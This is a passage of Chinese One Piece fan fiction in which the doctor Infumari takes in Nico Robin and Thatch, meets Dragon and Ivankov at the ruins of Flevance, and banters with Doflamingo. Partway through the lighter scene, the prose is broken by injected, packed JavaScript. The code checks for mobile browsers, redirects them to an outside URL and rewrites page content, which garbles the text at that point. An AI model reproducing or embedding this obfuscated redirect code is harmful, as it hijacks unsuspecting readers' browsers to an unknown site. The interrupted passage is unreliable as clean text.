茵弗:“嗯,我期待着,如果新白城的医生们接受雇佣,那么我可能会招一些人手,看火烈鸟先生那边的安排再定。” 威廉:“当然了,我们愿意帮助你!” 罗:“...你接下来要走了吗?” 茵弗蹲下来笑眯眯地戳戳他:“舍不得我啊?” 罗:“...你快走吧!” 安娜摸摸儿子的头,告诉他男子汉要好好告别。 茵弗支着脑袋看他支支吾吾地装酷,第一次在他脸上亲了一下,留下祝福。 他伸出小指,不顾他的爆红:“来约定吗,特拉法尔加·罗?” 约定。罗愣愣地看着他,修长的,永远向他人伸出的手指,站到了他的眼前。 “好好长大,做个好哥哥,再长大一点,如果您想,就跟着我继续学医,好不好?” 罗抬头看向自己的父母,在他们鼓励的表情里勾上茵弗玛利的小指。 茵弗笑了笑:“别哭嘛,我又不是不回来北海了,还有事情要做呢。而且...” “我最近又不走。” 罗一僵,猛地把手抽回来,狠狠用袖子擦脸:“哈??那你说什么啊!!” 逗小孩太好玩了,明明米森没有这种爱好,自己究竟是哪学来的。 当然最近不走了啊!那几个小王子的感情丧失还没扭回来呢,真的是,煽情啊,童真啊。 赢了。 茵弗在罗恼羞成怒的大叫声里跑了,顺便去看看那个和罗相处的很好的沃尔夫吧。 “多、多少钱?” 茵弗:“别这么惊讶,沃尔夫先生,弗雷凡斯积累了一百年的财富,当然不会是小数字,即使只有10%。” 沃尔夫掏掏耳朵,猛点头:“谢谢你!” 茵弗:“所以您接受我的雇佣了?” 沃尔夫:“当然!又不会影响我自己的研究。” 茵弗嗯了一声:“您是个很有才华的发明家,沃尔夫先生,女王陛下已经同意让您加入杰尔玛的科学队,您在杰尔玛这个科技大国一定会有所收获。” 他翻出挎包里一个破烂的方块,在完全卡住的扳机上摁了两下。 “比如这个是我之前设计的,用干净安全的材料快速''订''上一些大型的创口,急救用会很方便...这个只是一个非常初版的模型,有很多缺点。但是就是类似这样的新医疗器械,我希望您能多发明一些。” 沃尔夫眼睛亮亮地点头:“当然了,就从改良这个开始吧!” - “多、多少钱?” 怎么和沃尔夫反应一样...这甚至只是一点点而已。 茵弗有点好笑地捏捏鼻梁:“这只是我预估的数字,具体还是要等火烈鸟先生那边拿过来再说,应该后天下午之前就能收到了。” 耶索普:“真的都给我们吗...?” 茵弗接住挂在自己身上的大红毛,在他脑袋上揉了一把。 “嗯,红发海贼团,请把它当做朋友给的冒险资金吧?” 鲁咽下嘴里的肉块:“我们能修十、不、二十个会议室了。” 本乡:“我们会开会吗?” 鲁:“也是。” 茵弗笑了两声,顶顶香克斯的脑袋:“把钱给贝克曼先生管着,嗯?要不然感觉一周就能被你们花光了。” 贝克曼勾起嘴角,在耶索普他们哀嚎时用枪托敲敲他们的头。 “您们接下来去哪?” 香克斯掰着手指:“去西海和南海转转,再找几个船员...然后回东海...我想见见露玖夫人,耶索普的女友也在东海...” 茵弗点头:“如果见到巴基替我问好。不过我过几年也打算回东海接艾斯他们了,也许可以遇到呢?” 耶索普:“小孩子真可爱啊,之前见到小王子他们呢,都好小。” 贝克曼想到什么:“对了,你有去见那两个找你的孩子吗?” “没有呢,时间晚了,他们休息了吧?我打算明天去的。” 贝克曼:“不一定,他们俩很...紧张。” “是昨天的撤离吓到了吗?” 贝克曼摇摇头,“不、他们不是白城的人”,他顿了一下,“其中那个女孩好像是妮可·罗宾。” 茵弗挑眉,那个突然就上了通缉令的孩子? 他把香克斯从身上撕下来立好,询问了一下他们在哪就打算过去看看。如果是这样的话,还是尽早比较好。 他们确实没有休息,虽然在统计时被发现不是白城的人了,但是那些人也没有为难他们,只是听说他们来北海想找奇迹游医时说对方就在这里,但是在休息,出来之后会转告他的,然后给他们安排了房间。 两个小孩都因为不用再错过要找的人松了一口气。他们在路上太久了,已经很疲惫了,但还是强撑着等着,可是白天一天都没有见到人。 罗宾有点担心:“也许他们是骗我们的...就像之前那些人...然后向海军告发我在这里...” 萨奇安慰地拍拍她的肩膀,将一个椅子推到门口挡着:“如果他们要闯进来,我们就从窗户跑,我掩护你!” 两个人才互相鼓励了没一会儿,就听到咚咚咚的敲门声,一个温和的声音传来。 “您好?我听说有人在找我?” 萨奇示意罗宾先躲到窗边准备好,然后小心地凑到门边:“你是奇迹游医吗?” 那个声音好像笑了一下:“是。” 萨奇想说让他证明一下,可是突然不知道用什么来证明,他给罗宾比了几个口型,指指门口,疑惑地歪头。 门外的人耐心地等着他俩小声交流,最后罗宾怯生生地开口:“你认识用冰的海军吗...?” “用冰?库赞先生?瘦瘦高高,黑色卷发有点像花椰菜?认识的。是他让您来的吗?” 萨奇下意识咧咧嘴,身旁的罗宾对他点点头。 茵弗听到椅子拖拽的声音,应该是之前被堵在门上。看来他们真的很害怕啊。 进门茵弗第一个注意到的就是小男孩脸上的纱布,不过担心自己突然触碰会吓到他们,他压下抬起的手,自然地走进房间坐在椅子上,然后拍拍对面的床示意他们坐过来。 “我们坐下慢慢聊吧,您们看起来很累呢。” - 奥哈拉被抹去了,因为历史的存在。 妮可·罗宾八岁被通缉七千万,因为她幸存。 茵弗脸上没了笑容,和头发一样淡金的眼垂着,给面前抽噎的女孩递过纸巾。 那个小男孩——萨奇——也刚刚失去家人不久,侧抱着她,希望给她力量,但是自己也在啪嗒啪嗒掉眼泪,一只手攥着纸巾胡乱地把脸搓红,蹭到纱布的时候疼地抽气,有点滑稽。 可是不好笑、一点也不。 有人对着他挥刀,对着罗宾挥刀。 “呜、那个海军放我走、让我找你、我不知道该怎么办、呜、妈妈、博士、萨乌罗...” 一个九岁的博士,最最聪明的小孩子哭着,说她不知道该怎么办。 他们分开挣扎了几个月,一起挣扎了几个月,在这片包容又无情的海上辗转一年,来到他的身边。 我该怎么办? 茵弗捏了捏眼角。 哦、去他的。 他揽过两个孩子,将他们放在怀里,忽略了他们瞬间的僵硬。 “先好好哭一场吧,然后睡觉,吃饭,活着,好吗?” 他感到他们变得放松,然后就是震耳欲聋,绝望的哭喊。 好吵。 茵弗抽抽鼻子,鼻腔里仍留存着火辣辣的,胃酸的气息。 因为睡了太多,两个孩子哭到一半就睡着了,自己反而十分清醒。 也许清醒还有别的原因。 他在他们两个的床边坐着,思考。 也许也没有在思考。 历史的真相?罗杰海贼团除了他,香克斯,巴基,都知道。自己只要去香波地找雷利,也许答案也唾手可得。 要去吗? 罗杰自首和他们在拉夫德鲁看到的东西离不开关系,如果自己去询问雷利,告知罗宾,告知世界。他的盛大是否就失去了意义? 他在等樱花盛开,他们又在等什么? 一定要人去拉夫德鲁? 他从口袋里拿出一个打火机——从贝克曼那顺来的——将火焰点燃又熄灭。他很喜欢盖子掀起时清脆的声响,还有咔哒咔哒的点火声。 贝克曼只是对他偷他东西还当着他的面用的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918873|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表示无语,不过听到他的理由只是耸耸肩说随他去了,他有很多。 指尖掠过小小的火焰,温热的。一点点暖色的光将冰冷的月光在屋子里切割的棱角都烘软了,明明暗暗。 他发了会儿呆,然后觉得也许自己该去睡觉。 睡觉,吃饭,活着。 “然后呢?” “嗯?” “然后我们做什么?” 罗宾抱着牛奶杯子,面前丰盛的早餐已经被吃完了。她和萨奇有些忐忑地等着,对面的人只是低头削着苹果,时不时放一块到自己嘴里,再把小兔子模样的放到他俩的盘子里。 “然后吃点苹果。” 萨奇眼睛亮亮地捏起苹果瓣,戳戳那两个耳朵形状的尖角,然后在咀嚼时很认真地点头,就像在品鉴换了个形状味道会不会不一样。 罗宾有些犹豫:“我可以干活,请不要把我送给海军,那个用冰、库赞?相信你,你不会的是吗。” 茵弗笑了一声,“虽然我确实有过童工,特别是鱼人岛的时候,不过''干活''听起来好像我会虐待您一样。”他摇摇头,“您就跟着我吧,我不会把您送给海军,有奥哈拉的学者在身边是我的荣幸。” 他又取过一个苹果开始削,准备一会儿给蕾玖他们送去,罗跟父母住在一起,自己不用早起捏饭团真的是愉悦——虽然他也没睡。 两个孩子刚到陌生的环境,为了不给他们压力,没有带他们去杰尔玛皇宫的饭厅吃饭,只是端回房间,摆了摆桌子。 他们的身体状况昨天都听过了,最严重的还是萨奇脸上的伤,弧形的伤口,眼睛没被刨掉真是十分的好运气。但是还是要注意,避免长大之后那侧的眼睛出现严重视力下降之类。 萨奇在知道后只是信任地说知道了,然后说即使是在脸上,也想留下这个''保护别人''的伤疤,是个小男子汉。 萨奇:“那我呢?” 茵弗思考了一下:“您是想来跟我学药膳的是吧。” 萨奇激动地点头,从口袋里拿出几张破烂拼贴在一起的报纸。 “妈妈和妹妹生病,我们没钱买药,报纸上说你能用食物让人变健康!我想学!我想做最好的厨师,让家人都健康!” 茵弗昨晚就知道他家人都已经不在了,因为疾病与贫穷,不然他也不会小小年纪就跑出海找他。 他将切好的苹果放到盒子里盖好避免氧化,然后支着脸看他们。 “会很辛苦哦?药膳不仅要学食品学,要实践,还要学习药理。” 萨奇:“没关系!我会努力!” 茵弗给他比了个大拇指:“优秀!那您就也跟着我吧,有人继承我药膳美学的衣钵也挺好。” 萨奇和罗宾同时松了一口气。 茵弗笑笑:“别紧张,有个小博士和小厨师在我身边,倒是您们要多多照顾我了呢。” 心头的大石头没有了,本来生性就活泼的棕发小男孩又拿起苹果吃,还给罗宾递了一个。 “为什么叫我们''您''?应该反过来才对吧?” 茵弗:“我的习惯,小厨师先生,很难改。” 罗宾小心地咬着苹果:“那你会叫别人''你''吗?” 茵弗点点头,竖起手指一个个掰着:“我的弟弟们,患者孩子们,啊,还有家里的孩子们,露玖说希望我能不要那么有距离地跟他们讲话。” 虽然不知道露玖是谁,两个孩子都认真地点头,小不点成熟的样子逗得他发笑。 看他们吃完了,茵弗递过给萨奇的药让他记得在饭后吃,然后领着他们去见见人,路上回答一些他们的问题,随便闲聊。 萨奇倒是还好,罗宾还是很紧张,比起自己的小伙伴好奇地环顾四周,更多的还是谨慎的打量,茵弗拉着的小手里全是汗水。 通过她的讲述,他也明白那种患得患失的不安全感,用劳动,用付出去换点什么是她一直以来的习惯,无论是在刻薄的亲戚家还是在海上。某种意义上来说,茵弗也很熟悉这种心态了。 所以他低不可闻地叹气,开口说:“您是博士吧,十分的厉害,请利用您的智慧来帮我吧?” 罗宾听到他的话果然放松了不少,脸上露出坚定的神色。 所以他先去带他们见了索拉,正好对方在和蕾玖一起吃早餐,他把削好的苹果放在桌上,蕾玖看到小兔子的形状有点不舍得吃,一个个地递给母亲。 索拉谢过自己的女儿,也一个个地放在她的盘子里,然后和茵弗带来的小朋友们打招呼。 “以后他们两个跟着我了,一个是智慧顾问,一个是学生,继续打扰杰尔玛的这段时间,我希望能让他们和小公主和小王子们一起多多相处。” 蕾玖听到也从椅子上跳下来,乖乖地做自我介绍,萨奇没见过王族,有点窘迫地模仿罗宾鞠躬的样子弯腰。 没打扰三人交朋友,茵弗在索拉对面坐下,算着时间也差不多,给香克斯打了个电话虫让他们起床来吃饭。 饭桌闲谈当然还是围绕着接下来的发展,分开后各自的打算,还有孩子们。 “这两年我应该不会离开北海,等小王子们脱离幼儿期就给他们用一些刺激神经的药物,改造后的优势就是他们可以早早地治疗。” 不过那个''不强''的孩子——山治,身体上的强化被压制住了,情感也没有缺失,身边围绕着和他不同的兄弟,反而需要多加注意。 “我让他们脱离伽治的一大理由就是教育,索拉,如果上任国王在位,一定会将''力量''视为正常,而''情感''视为弱点,但是现在他们还很干净。” 告诉他们他们的兄弟并不比他们差,既然山治的身体比他们柔软脆弱,那他们就更应该保护他,支持他;他们不能理解的情绪告诉他们是什么,山治为什么会对一些事情跟他们有不同的反应,让他们自己去学习体会,强大从来都不是武器。 “大脑里的神经手术,尤其是在小孩子身上,需要过于细致的把握,稍有一丝偏差就会出大问题,所以还是配合慢性药物比较好。” 索拉感谢地点头,询问他有关让巴/雷特看孩子们的事情是否是真的。 “啊,我考虑过了,偶尔就拜托他和他们呆在一起吧,力量与情感之间的关系没有人比他思考得更多了。让罗宾小小姐和萨奇小先生跟着,教他们读书什么的。” 萨奇虽然曾经有妈妈教识字,但是也没有很高的水平,既然要跟着他学习,那么知识是一定要提上来的。 贝克曼:“所以...妮可·罗宾?” 茵弗:“嗯?嗯,我之前认识一位叫库赞的海军,把她送到我身边了。我其实有点担心库赞先生的状态...但是短时间内走不开。” 那个掠过了人人喊打的''海贼王'',更在意他是否能帮助不止''一个''孩子和''一位''妈妈的可爱海军,教了他海军的歌的可爱海军。 屠魔令的炮火是否将他坚信的正义也一并轰击得千疮百孔了呢? 耶索普:“不过,被发现她跟在你身边很危险吧。” 茵弗:“嗯,我会努力保护她的。” 耶索普:“不、我是在说你、算了...” 茵弗摸出硬币在指尖转着:“反正有弗雷凡斯的事情,还有火烈鸟先生,我也算是有一些黑料了,大不了威胁回去嘛。我可是''中立''。” 贝克曼笑了一声,中立? 偏心的很呢。 香克斯抹了一把嘴巴:“总之我们明天就走了,茵弗!女王给你做了生命卡吧!给我一点。” 索拉点头,召唤佣人过来替他们去取。茵弗一直都没有生命卡,这还是第一次。他捏着那个手感奇怪的纸张,在一角写下自己的名字撕开交给香克斯。 “真是神奇的纸。” “是吧?” 他们的话题逐渐转为闲聊,桌下的一只小小的耳朵也就如花瓣般散去。 萨奇:“罗宾,你还好吗?” 蕾玖有些担心地看着自己新认识的朋友... 罗之后她的新朋友!而且现在罗一家也要住在杰尔玛!她还有弟弟们!妈妈也开心了,她现在是最最幸福的小女孩! 她挺挺胸膛,拉住这个黑发的姐姐,走到母亲身边。 “母亲!我想带罗宾姐姐和萨奇哥哥去图书馆,她好聪明的,喜欢书。” 索拉微笑着同意,蕾玖现在终于有空闲时间做''我想做''的事情了。她告诉罗宾和萨奇以后可以把这里当成家,随意一点,挥挥手跟他们告别。 饭厅里的大人们一时都没有开口,各自想着各自的事情,默默注视三棵娇嫩的幼苗向着阳光伸展开翠绿的新叶。 叮——啪。 金币反射过一丝耀眼的阳光,落在茵弗微凉的掌心里。 “好,决定了。” 香克斯:“决定什么?要我们帮忙吗?” 睡觉、吃饭、活着? “我要用剩下的钱狠狠地挥霍。” “噗、什么啊——” 47.你想要什么 那笔钱到底还是没落到他的手里。 因为他遇见了一个意想不到的人。 告诉来送钱的多弗朗明哥是的我会去找你帮助你的计划的,送别已经因为他在北海停留了太久的红发海贼团,他在临行前独自一人去了已经是一片废墟的弗雷凡斯。 尸体已经被索拉下令清理了,伽治的尸体也被收敛,茵弗玛利医生收到了杰尔玛新任女王发出的葬礼邀请函。他当然会去的,杀人者要在花圈中注视对方沉入六尺之下,这件事才算留下句点。 不过,他倒是没想到自己只是在离开前再来转转这个被他毁了的城市,却意外在火烧过的断垣残壁中见到龙。 “龙先生?很久不见了。” 他知道龙脱离了海军,但是卡普没跟他说他去做什么。龙见到他好像不是很意外,身边跟着个有着紫色大头的人。 “你果然也在这里,茵弗医生。确实很久不见了。” 他们绕到倒塌的某栋房屋的断墙上坐着,龙给他讲述了自己和伙伴伊万科夫现在正在建立的''自勇军'',他们正好要去南海,准备越过颠倒山时看到报纸说杰尔玛对弗雷凡斯发动战争,就先过来看一看。 “居民们,都没事吗?我看到你找到治愈铂铅病方法的报纸了,你还是和从前一样是个好医生。” “不算''都''没事吧,不过索拉女王收纳了大部分难民。”他顿了一下,对着四周的惨淡景象挥手,轻声开口,“是我这个''好医生''干的哦。” 龙惊了一下,不明白他为什么这么说。 在这个已经没有活人的城市里,风带走了他的声音。 “真是个可怕的boy啊。” 茵弗拿出打火机咔哒咔哒地玩着,嗯了一声。 “不过我不讨厌哦,干的还不错嘻。” 龙在短暂的沉默后询问:“你还好吗?” 茵弗点头:“嗯,不管有没有我,弗雷凡斯都大难已近了。血淋淋的白色冤魂们早晚都得用血来平息。” 龙:“你要加入我们吗?我希望能帮助更多像弗雷凡斯这样的国家。” 茵弗摇了摇头。 自勇军的名字很好。自我、勇气。都是很好的起点。可他的起点不是这里。 “我不确定我是否合适,先生,我没有您们那么无私的心。我总觉得我病了,从来就没有好起来过。” 龙将手伸给他,他记得茵弗玛利靠着听别人的声音冷静自己,在安静中寻找让自己放心的东西。 茵弗笑笑,接过他的手,表示了感谢,却对他的话表示了可惜。 “先生,我发现,即使我不用能力去听,这个世界也很吵。” 他自我地审判弗雷凡斯的血与罪,再用同样的东西去清洗它。世界政府审判无罪的奥哈拉,哭声何时才能止歇。他是何时窥见了一盘未预料的棋局,堪堪踏在边隙? “我也曾经思考过这个问题。”龙揉了一把鼻梁,茵弗玛利还是如同多年前一样,总会推开新的窗,强迫他向外去看。 “自勇军的行动一定离不开斗争与鲜血。这个世界的根病了,供养着不健康的枝叶。我只希望在洗涮过后,能有足够的空间供新生的部分呼吸。” 茵弗点头:“您想要剔除坏死。” 伊万科夫:“我们去南海就是为了去寻找我的好友,壮大力量嘻哈~” 红十、灰色中点站、新白城。 茵弗的眼前飘过弗雷凡斯不存在的色彩,他将它们一缕一缕拉开转述。 “所以,壮大您们的势力,让我看看自勇军会变成什么样子吧,我不会加入您们,龙先生,我是一名游医。”他伸出手,“但是我愿意成为您的朋友。” 自勇军得到了它的第一位盟友。 “但是先生,记住,我是【医生】。” 龙点头,他记得。就像战场上的袖章。海军、海贼、自勇军;茵弗玛利一直都站在中央,随心走动,棋盘上的皇后,任意行动。 不,也许他从来都在外部窥视这盘棋。 剩下的话题就轻松多了,聊聊都在做什么,认识什么人。伊万科夫居然是荷尔蒙果实的能力者,要去找的老友是肉球果实能力者。 他一共最想找到的恶魔果实就那么几个,这么多年后居然一口气遇见两个。 神在耍人玩呢。 不过更重要的是... “奥哈拉?您去了奥哈拉?” 龙:“是,也是那里让我更坚定了建起自勇军的心。见到了一位老朋友,他本来是想去捞起那些被学者们救下的书的,但是有几位巨人已经把那些书带到艾鲁巴夫了。” 茵弗心念一动:“巨人?” “是他们的大哥,叫萨乌罗,要他们去的。” 救了罗宾的萨乌罗? 茵弗开心地笑了:“我最近开始养了两个孩子,其中一个叫妮可·罗宾,知道她的朋友还活着,她会很开心的。” 伊万科夫:“妮可·罗宾!?在你这里?能读懂历史正文的girl!” 茵弗点点头:“再成长一些吧,自勇军,等到我确定您们能保护好这个孩子,我会询问她是否愿意去您们那里的。” 龙叹了口气,这倒是事实。不论是人员上,资金上,现在的他们都不足以照顾好一个身上标着红标的九岁女孩。 茵弗:“记得我刚刚说的那些颜色吗?也许耗时会更长,但是解放的那些人可以为您们带来资金和声望上的利益,让他们自己循环起来。盈余的水分都可以是浇灌您们的。” 他取出自己的生命卡撕了一角交给龙。 “我是您的朋友,龙先生,我最近认识了一位火烈鸟先生,他有一些喜欢□□的臭毛病,如果您们未来能满足他这个小小的癖好,让我不用一直看着他,那么我很乐意为您们提供一笔启动资金。” “多、多少钱?” 又来。 不过这也只能说明弗雷凡斯繁荣了一百年,王族是真的被养的很肥。 “这只是不到10%,您们来的晚了些,钱我都分出去了。” 龙感激地握住茵弗玛利的手,这还是他第一次见到这个表情一贯严肃的人露出如此的神色。 是真的很缺钱啊。 这不算是交易,不过双方都心满意足。 茵弗乐颠颠地在杰尔玛启航时跑到实验室,在自己的工作台上放下一堆小瓶子。 他又乐颠颠地去房间里收好龙的生命卡,遇上了身边一群小豆丁的索拉,算上罗,每个小不点手里都抱着个彩色的小娃娃,身后跟着一脸臭气的□□。 索拉:“这么开心?开始挥霍你的钱了?” 茵弗:“花光了!” 索拉:“花、花光了?这么快?” 茵弗:“我买到了液体的荷尔蒙!超值!一丁丁点就够我玩好久!每样一瓶呢!” 茵弗将脑海里伊万科夫一下子大量使用能力之后变得憔悴无比的大脸从脑海里删除。 “您们这是干嘛去?” 蕾玖:“天气不错,带他们去花园吹吹新鲜空气,弗雷凡斯战后的火气还是太重了。” 茵弗点点头,把萨奇手里的尼治放到□□无比抗拒的大手里。 “走了小学生,咱们去给他们做点零食三明治什么的野餐吃~” 萨奇:“好耶!” 罗:“我不要三明治...等等,学生?他怎么是你的学生!” 本乡不是走了吗! 茵弗弹了他一下。 “他学膳,您学医,不冲突,再说谁说我只能有一个学生了。” 罗眨眨金色的猫眼睛,看看他又看看笑得傻兮兮的萨奇,勉为其难地在对方说什么没关系你是第一个呀的话术里接受了现实。 罗宾一下子没法接受现实。 萨乌罗,还活着? “呜、” “哎呀,眼泪掉到三明治上了哦。” 罗宾将手上夹着厚厚火腿的三明治放到一边,抽抽搭搭地擦眼泪。 “呜、真的吗?太好了呜呜、萨乌罗、、” 茵弗揽过她,一下一下顺着她的头发,对着投来担心视线的索拉比了个没问题的手势。 “我相信龙先生的话,他一定还活着,还救下来了全知之树里的书呢。” 哭声何时才能止歇?他叹了口气。 “他一定在等你呢,小知更鸟,活下去吧。” 呔嘻嘻、唻嘻嘻。 明明是个小博士,却连怎么笑都需要别人教啊。 任由一群小家伙们凑过来安慰这个痛苦的小女孩,茵弗接过了罗递来的饭团。 这个一看就是萨奇捏的,有些松散,形状也奇怪。不过他兴致勃勃地把海苔剪成各种好玩的形状贴在上面,餐盒打开的时候收获了一波称赞。 在罗皱着眉毛的凝视下,他小小地咬了一口。 就是饭团的味道,颗颗米粒带着一点咸香在牙齿上弹了几下。 ''我还是认为你是个好医生。'' ''别这么说,龙先生,这会让我反胃。'' ''也许让你反胃的不是''好医生''这件事。'' 他又咬了一口。 - 阳光明媚刺眼,天空惨白无云,茵弗倒躺在沙发上,翘着脚翻报纸。 “克洛克达尔?七武海?” “海军新的制衡把戏。” “海军这几年动作很多啊。” “呋呋呋呋呋,当然了,因为罗杰的那番话,这片海在躁动不安。” 听到了吗,罗杰先生,这片海在躁动不安。 “这个名字有点眼熟啊...” “他挑战白胡子,被打败了。” “嗯...不是这个...他是不是和我家子弹先生打过?” “呋呋呋呋呋你家子弹先生?巴/雷特?” 对,巴/雷特离开杰克逊号那阵子,他在报纸上读过这两个人的战斗。 大概是没打过巴/雷特的,又没打过白胡子,现在去海军那里了吗?嘶...感觉是个会审视态势动脑子的人啊... 七武海... “您想当七武海吗,火烈鸟先生?” “呋呋呋呋呋我想要的东西有很多,医生。” “那就再说吧。” 也不知道怎么回事,他和多弗朗明哥聊天意外地一直很顺,也许是他,也许是自己,也许他们二人都有关系。总之难得地是让他可以无聊的时候随便讲话的那种人,自己思维跳来跳去的对方也不在意。 “你把杰尔玛的分部队开到我据点门口干嘛,医生。” “这是我的诊费,鸢尾花送我的大蜗牛,不是什么分部队,我还在想名字呢。” 他把报纸丢到一边,挺起身子从茶几上跳了过去,熟练地到多弗朗明哥办公桌的抽屉里翻糖果。 “又头疼了,医生?” “是是是、菠萝味的呢?” 多弗朗明哥随便从里面抽出来一个丢给他,在手里的文件上随便签了几个字。 “所以,把蜗牛开来有什么事?” “来炫耀的,下次让维尔高先生别买这个牌子的,糖精味道太重。” 茵弗嘟囔着,随便地往多弗朗明哥桌子上一坐。 “您办公桌太硬了。” “这是桌子,医生,硬就对了,对面有沙发。” 维尔高推门进来的时候就看到自家少主桌子上极不尊敬地坐着那个人,和少主有一搭没一搭地聊废话。 如果不是墙上的破洞,还有少主脸上新贴的纱布,谁也看不出来这两个人半个小时前还轰轰烈烈地打了一架。 不过,这段时间,这种诡异的相处模式也是常态了。 这个医生很强,少主打不过他,明明没有霸王色霸气的王者资质,但是就算少主用上霸王色,好像对方也没什么反应,就好像习以为常。 哪里来的怪物,如狂风席卷了堂吉诃德家族,让少主抛弃了他们前几年大量的准备工作重新再来。 “哦,维尔高,来的正好,事情办的怎么样。” “是、已经按您吩咐把那些人''放弃''了。” “呋呋呋呋呋满意了,医生?” 茵弗把糖果在嘴里转来转去地嘟囔:“下次别逼我又揍您,眼界放宽,火烈鸟先生,那些小偷小摸的恶心事情少干,长远发展。” “呋呋呋呋呋积习难改。” “这我可以理解。” 维尔高半鞠躬,偷偷抬眼,正好对上茵弗玛利笑眯眯的目光。心里一惊,连忙低头,他知道这位医生不太喜欢他们这些少主的手下,尤其是托雷波尔他们。 巨大的财富,无比的可能,好像他一个人就能带给他们,他也确实带给他们了。堂吉诃德家族据点的港口,还停着北海霸主杰尔玛的蜗牛。 他咽了口口水,手心渗出一点冷汗。 “下去吧,维尔高,记得通知维拉今天客人要和我们一起参加晚宴。准备一套正装。” “是,少主。” “哦,还有,下次换一个牌子的糖果买,多买点菠萝味的。” “是...” 厚重的大门被关上,茵弗眯着眼睛观察了一下,又看看墙上的大洞。 “他为什么不从那里直接走?” “他敢吗?” “那有什么不敢,我走给您看。” 说完他就跳下去哒哒哒地从他打飞多弗朗明哥的洞里跑过去,忽视隔壁正准备修墙的琵卡,打开另一侧的门跟正好抵达的维尔高打了声招呼,然后又哒哒哒地跑回来,这次和琵卡挥了挥手。 “您看 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弗雷凡斯挖出来的40%财富够多弗朗明哥大手笔地运作很久,绰绰有余。今夜之后,他的手就可以伸得更远。茵弗玛利说的对,是个人就需要医生,那些手里握着权利与利益的人更是珍惜他们的小命。 从地下走到地上并不是不可能,因为挂着【茵弗玛利】这个标志。 海军,海贼,地下势力,平民,贵族,他不怀疑茵弗玛利早晚有一天会在世界政府上也拉一根绳子栓到这个标志上。 因为他''中立'',那群老头会又爱又恨地吞咽他所带来的利益,一边在无形中被他啃食。 而他真的有意识到自己在做什么吗? 茵弗当然不知道这些,也不知道多弗朗明哥眼里自己的形象到底是个什么样。如果他知道了,可能会觉得莫名其妙吧。 他让这只火烈鸟做这些事,纯粹是因为他翻了翻那些文件,决定他不喜欢。 他不喜欢越来越多的人变成没有名字的史黛拉,变成找不到名字的巴/雷特。 龙的自勇军,鲜血与战斗换来解放;那些泥泞的,灰暗的也可以换来点什么。 他做不到,但是他觉得多弗朗明哥可以。 他不介意给这个骨头里流淌着漆黑骨髓的家伙一个选择,看看能否收获某种答案。 当然,顺便能在黑市包下大量的恶魔果实这一点也挺好,省下很多钱和精力呢。 他是真的没想那么多,把波比开过来只是为了、没错,他想邀请这只火烈鸟去他新的宝贝蜗牛上坐一坐,他真的只是来炫耀的。 今天会有很多势力来这里,他愿意让多弗朗明哥知道这些人中只有他可以坐一坐他的大蜗牛。感谢他选择茵弗玛利。 至于晚宴...没参加过这种的,感觉很帅,他还没正经穿过西装呢。去伽治的葬礼都没换。 “你很适合白西装,医生。” “谢谢您,您也很合适酒红西装,维拉小姐的手艺很好。” 哇...好...好拘束...好看是好看的啦。 “嗯...” “呋呋呋怎么了,哪里不满意吗?” “下次要不穿裙子好了。” “呋?” “有点拘束,而且我有点好奇。” “呋呋呋...习惯就好了。” 成功的夜晚,无与伦比地。 多弗朗明哥在人群如有实质的目光中被茵弗玛利拉到一旁咬耳朵。 “所以你真的就是来炫耀的?” “当然了,所以赶快!处理完这边,赶紧跟我走上去,抬头挺胸!我都算好时间了。” “呋呋呋呋呋!” 多弗朗明哥跟着茵弗玛利走上''波比'',至于下面的人怎么想他就不管了。他多弗朗明哥成为贵客了吗?握住科技的优势了吗?怎么不可以呢?在茵弗玛利面前,除了那几条红线,奴隶,战争,孩子,人体实验,好像什么都可以。 对于□□来说,很苛刻。 多弗朗明哥应该讨厌,他不讨厌。 因为比起实际上限制更多的地下世界,除了那些,好像''什么''都可以。 ''【茵弗玛利】的一切。'' “哦波比我亲爱的~您今天听起来也强大又美好,您是最好听的大蜗牛。” 茵弗松快地把西装外套往椅子上一丢,杰尔玛的蜗牛很好,听指令,不需要多少人操作。加上沃尔夫帮他改良了之后,他以后完全可以带着几个人就在海上乱跑,爬红土大陆什么的一定要体验一下的。 “好了我来了,然后呢。” “我还没想好,您随便坐吧,体会一下这种感动。” 茵弗随便给他倒了杯水,又给自己倒了杯,叹口气在沙发另一侧坐下。 喝了一口他就放下了,握着杯子靠在沙发上仰着。即使没人说话,他的客厅里也不安静。钟表滴答滴答地走着,外面有海的声音。 哦,还有多弗朗明哥,他问:“西装真的很拘束吗?” “不、手艺很好,是合身的。”茵弗闭着眼答道。 好恶心,好反胃。 是的,那些人叫他奇迹游医,但是不是因为这个,也许龙是对的。让他感到不适的已经不再是,或者不完全是对他医术的夸赞了。 果然术业有专攻,就像他必须有些事情要拜托沃尔夫,拜托杰尔玛,他真的只是个医生。 压下血管里翻涌的不适,茵弗意识到有一阵没听到多弗朗明哥的“呋呋呋”了。 睁开眼,他向左侧看去,意外发现对方脸上没了笑。多弗朗明哥很高,即使他习惯性地有些佝偻,现在他的皮鞋横在膝盖上,一只手肘撑着腿,托着脸颊认真地看他。 茵弗能在墨镜中看见自己有些散乱的头发,看不到对方是什么眼神,但是能看到自己是怎么挂上笑。 对,这一点他们倒是有点像了,他们都会笑。 “怎么了先生?不喜欢波比?” “喜欢,但是不想笑可以不笑,医生。” “您跟我说这句话还真是没有说服力。” 茵弗将水杯放在茶几上,将鞋子和袜子脱掉,腿缩起抱住膝盖。 拘束,他宁愿穿裙子。 “你想要什么?” “恶魔果实?” 多弗朗明哥摇摇头。 “你想要什么?” “...我不知道。” 茵弗转向他,仍然拥抱着自己,多弗朗明哥还是那个模样,弯着身子支着脸颊,也用柔软的羽毛大衣拥着自己。 他真的好久都没呋呋呋了。不想笑就不笑吗? “您想要什么?” ... “...我不知道。” 滴答、滴答、钟表走着,不知何时能走完今天。 48.天堂地狱一墙之隔 男人是要说去哪里就去哪里的。 弗雷凡斯的事情结束已经很久了,茵弗终于有空将回亨姆岛提上日程。虽然与其说是有空不如说是择日不如撞日。 